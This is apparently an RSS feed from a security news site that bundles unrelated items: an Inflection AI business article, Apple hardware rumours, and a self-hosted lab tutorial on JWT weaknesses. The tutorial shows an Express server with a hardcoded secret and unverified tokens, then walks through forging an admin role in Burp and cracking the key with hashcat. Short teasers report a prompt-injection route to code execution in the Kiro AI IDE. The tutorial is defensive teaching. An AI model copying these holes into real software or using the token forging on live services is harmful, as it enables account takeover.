<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[MacBook Neo 2 Rumored With A19 Pro Chip, 12GB RAM, and New Colors]]></title>
<description><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer A...]]></description>
<link>https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</guid>
<pubDate>Wed, 22 Jul 2026 21:16:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer AI features.



Bloomberg’s Mark Gurman reports that Apple has tested a refreshed MacBook Neo with the A19 Pro chip and increased memory. The current model uses the A18 Pro chip with 8GB of RAM, while the upcoming version is expected to offer 12GB of RAM.



The planned upgrades include:




A19 Pro chip: The newer processor should deliver better speed and efficiency than the A18 Pro used in the current MacBook Neo.



12GB of RAM: The extra memory should help users run more apps at the same time and handle heavier browser, productivity, and AI-based tasks.



New color options: Apple also plans to refresh the laptop with additional finishes beyond Silver, Blush, Citrus, and Indigo.




Apple has not confirmed a launch date, although the first half of next year appears likely because the original MacBook Neo arrived in March. The company plans to update the laptop regularly while keeping it positioned as the most affordable Mac in its lineup.



The MacBook Neo now starts at $699 in the United States after Apple raised the price from $599 last month. Eligible students can still buy it for $599 through Apple’s education store, while certified refurbished models also remain available at lower prices.



Apple is preparing 11 new Mac models across its laptop and desktop ranges, with the updated MacBook Neo forming part of that broader product plan.]]></content:encoded>
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<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Towards a quantum computer that learns from its errors]]></title>
<description><![CDATA[Machine Intelligence]]></description>
<link>https://tsecurity.de/de/3687350/ai-nachrichten/towards-a-quantum-computer-that-learns-from-its-errors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687350/ai-nachrichten/towards-a-quantum-computer-that-learns-from-its-errors/</guid>
<pubDate>Wed, 22 Jul 2026 20:52:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Machine Intelligence]]></content:encoded>
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<title><![CDATA[A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool]]></title>
<description><![CDATA[A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro…
Read more →
The post A Hidden ...]]></description>
<link>https://tsecurity.de/de/3687325/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687325/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</guid>
<pubDate>Wed, 22 Jul 2026 20:38:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/">A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple is Testing Mac Mini with M6 and M5 Pro Chips, Says Report]]></title>
<description><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is...]]></description>
<link>https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</guid>
<pubDate>Wed, 22 Jul 2026 19:58:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is evaluating both processors for its next compact desktop.




“The Mac mini in testing uses M5 Pro and M6 processors, while the Mac Studio has the M5 Max and M5 Ultra,” Mark Gurman said.




Apple May Repeat Its Mac Studio Strategy



Apple used a similar approach with the Mac Studio, which launched with M4 Max and M3 Ultra options. The next Mac mini could therefore give mainstream buyers the newer M6 architecture while keeping the M5 Pro for users who need stronger multi-core and graphics performance.



Current Mac mini demand also remains high because many buyers use the machine for AI workloads and external display setups. Apple has not confirmed the new models, pricing, specifications, or release schedule.]]></content:encoded>
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<title><![CDATA[A Hidden Line of Website Text Can Turn AWS Kiro Into a Remote Code Execution Tool]]></title>
<description><![CDATA[A recently disclosed vulnerability in AWS Kiro, an AI-powered Integrated Development Environment (IDE), reveals how a hidden line of text on a webpage can be exploited for remote code execution on a developer’s machine, bypassing the platform’s security model. Kiro operates on a “human-in-the-loo...]]></description>
<link>https://tsecurity.de/de/3687177/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687177/it-security-nachrichten/a-hidden-line-of-website-text-can-turn-aws-kiro-into-a-remote-code-execution-tool/</guid>
<pubDate>Wed, 22 Jul 2026 19:37:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
